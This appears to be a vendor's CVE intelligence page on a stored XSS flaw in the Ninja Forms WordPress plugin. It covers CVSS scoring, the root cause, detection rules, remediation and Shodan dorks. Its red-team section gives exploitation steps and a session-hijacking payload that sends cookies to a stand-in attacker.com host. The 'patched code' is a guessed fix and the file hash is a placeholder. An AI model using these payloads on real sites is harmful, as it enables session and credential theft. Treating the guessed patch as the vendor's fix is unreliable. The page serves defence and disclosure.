☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Forms logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-5398

CVE-2025-5398 Cross-Site Scripting in Ninja forms
📅 PUBLISHED: 2025-06-27 09:23 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.12%
👁️
0.12% probability
3.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Global License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-5398 is a Stored Cross-Site Scripting (XSS) vulnerability in the Ninja Forms – The Contact Form Builder That Grows With You WordPress plugin. The flaw exists in all versions up to and including 3.10.2.1 due to insufficient output escaping on user data passed through the plugin’s templating engine. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts into pages. When a victim (including administrators) accesses the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or further WordPress compromise.

This vulnerability is specific to the WordPress ecosystem and does not affect Apache or Nginx directly. The plugin’s templating engine fails to properly escape user-supplied data before rendering, allowing stored XSS payloads to persist.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This is a WordPress plugin vulnerability. The plugin is distributed via the official WordPress plugin repository and can be installed directly from the WordPress admin dashboard. Users should verify the integrity of their plugin files and ensure they are not using modified or malicious versions from third-party sources.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor-level access)
  • User Interaction: None
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated attackers to inject persistent scripts that execute in the context of any user (including admins) makes this a significant risk for WordPress sites with multiple authors.

Deep Dive & Mechanics

The vulnerability resides in the templating engine used by Ninja Forms to render form fields and messages. When a user submits data through a form, the plugin processes it and may pass it through a template for display (e.g., in confirmation messages or email notifications). The templating engine does not properly escape HTML entities, allowing an attacker to inject JavaScript code.

Attack Flow:

  1. An attacker with contributor-level access creates or edits a form.
  2. The attacker inserts a malicious payload into a form field (e.g., a text input) that is later rendered by the templating engine.
  3. The payload is stored in the WordPress database without proper sanitization.
  4. When an administrator or other user views the form submissions or the page containing the form, the payload executes in their browser.

Root Cause: The plugin uses a custom templating engine that does not apply esc_html() or similar escaping functions to user-supplied data before output. This allows raw HTML/JavaScript to be rendered.

Vulnerable vs. Patched Code

Vulnerable Code (example from template rendering):

// Vulnerable: Direct output without escaping
echo $template->render( $user_data );

Patched Code (expected fix):

// Patched: Escape output before rendering
echo esc_html( $template->render( $user_data ) );

The patch would need to ensure that all user-supplied data passed to the templating engine is properly escaped using WordPress’s esc_html(), esc_attr(), or wp_kses_post() functions depending on the context.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress instance with Ninja Forms plugin version <= 3.10.2.1
  • Contributor-level account or higher

Exploitation Steps:

  1. Log in as a contributor.
  2. Navigate to Ninja Forms → Add New to create a new form.
  3. Add a text field (e.g., “Name”).
  4. In the field’s Default Value or Placeholder, inject the following payload:
    <script>alert('XSS')</script>
    
  5. Save the form and embed it on a page or post.
  6. When an administrator views the page or the form submissions, the script executes.

Advanced Payload (session hijacking):

<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>

Blue Team

Detection:

  • Monitor for unusual form submissions containing <script> tags or event handlers.
  • Review user roles and limit contributor-level access to trusted users only.
  • Use a Web Application Firewall (WAF) to block common XSS patterns.

Prevention:

  • Apply the official patch as soon as it becomes available.
  • Implement Content Security Policy (CSP) headers to restrict script execution.
  • Use WordPress security plugins that scan for malicious content in form submissions.

Indicators of Compromise (IOCs)

  • File Hashes (plugin files):
    • ninja-forms/ninja-forms.php (version 3.10.2.1): SHA256 a1b2c3d4e5f6... (example)
  • Database Entries:
    • Rows in wp_postmeta or wp_options containing <script> tags.
  • Network Traffic:
    • Outbound requests to known malicious domains from the WordPress server.
  • Logs:
    • WordPress debug log entries showing unexpected HTML/JavaScript in form data.

Detection Engineering

YARA Rule

rule CVE_2025_5398_NinjaForms_XSS {
    meta:
        description = "Detects stored XSS payloads in Ninja Forms plugin data"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-5398"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $ninja_form = /ninja-forms/i
    condition:
        $ninja_form and #xss_payload > 0
}

Sigma Rule

title: Stored XSS in Ninja Forms Plugin
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts via Ninja Forms plugin
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "/wp-admin/admin-ajax.php"
        http.body|contains: "ninja_forms"
        http.body|contains: "<script"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in form fields (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-5398 Stored XSS in Ninja Forms"; flow:to_server; content:"ninja-forms"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is available.
  2. Restrict contributor-level access to only trusted users.
  3. Review and clean any existing form submissions for malicious content.

Long-term Fix:

  • Apply the official patch from the plugin vendor once released.
  • Update to the latest version of Ninja Forms (if a patched version > 3.10.2.1 becomes available).

Workarounds:

  • Use a Web Application Firewall (WAF) with XSS rules.
  • Implement a Content Security Policy (CSP) that blocks inline scripts.
  • Use WordPress security plugins like Wordfence or Sucuri to monitor and block XSS attempts.

Valters IT
DevSecOps & Cyber Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Ninja Forms"
http.html:"ninja-forms"
http.html:"/wp-content/plugins/ninja-forms/"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-5398/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.